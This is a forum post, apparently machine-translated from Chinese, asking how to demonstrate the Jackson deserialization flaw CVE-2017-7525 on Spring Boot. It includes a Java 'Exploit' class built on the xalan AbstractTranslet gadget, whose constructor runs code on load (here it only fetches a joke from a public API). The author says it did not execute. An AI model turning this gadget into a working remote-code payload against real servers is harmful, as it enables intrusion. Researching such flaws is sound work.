我了解到正在进行的杰克逊漏洞(CVE-2017-7525),该漏洞可用于远程执行代码,如here所述。 我对该页面上的示例类进行了一些修改,并编写了如下内容:
import java.io.*;
import java.net.*;
public class Exploit extends com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet {
private static String urlString = "https://sv443.net/jokeapi/category/any?blacklistFlags=nsfwreligiouspolitical";
public Exploit() throws Exception {
StringBuilder result = new StringBuilder();
URL url = new URL(urlString);
HttpURLConnection conn = (HttpURLConnection) url.openConnection();
conn.setRequestMethod("GET");
BufferedReader rd = new BufferedReader(new InputStreamReader(conn.getInputStream()));
String line;
while ((line = rd.readLine()) != null) {
result.append(line);
}
rd.close();
//Lets see the joke in the logs
System.out.println(result);
}
@Override
public void transform(com.sun.org.apache.xalan.internal.xsltc.DOM document, com.sun.org.apache.xml.internal.dtm.DTMAxisIterator iterator, com.sun.org.apache.xml.internal.serializer.SerializationHandler handler) {
}
@Override
public void transform(com.sun.org.apache.xalan.internal.xsltc.DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handler) {
}
}
编译.java文件并打开生成的.class文件,并将其内容作为提供的示例api请求主体的一部分传递,但是看来自定义代码可能尚未执行(或者我认为),期望在应用程序日志上看到一些内容,从而打印请求的输出。但是,我看不到任何打印内容。 有没有人有一个简单的示例,通过使用虚假杰克逊的api调用,通过spring boot和jackson展示了此漏洞?
我理解这是一个不寻常的问题,但是我正在研究这个有趣的主题,希望那里有人可以演示这个问题。
简而言之,我想通过使用api调用并传递一个包含要执行的已编译Java代码的Json文档,来演示在使用Spring Boot,Jackson时演示此Java反序列化漏洞。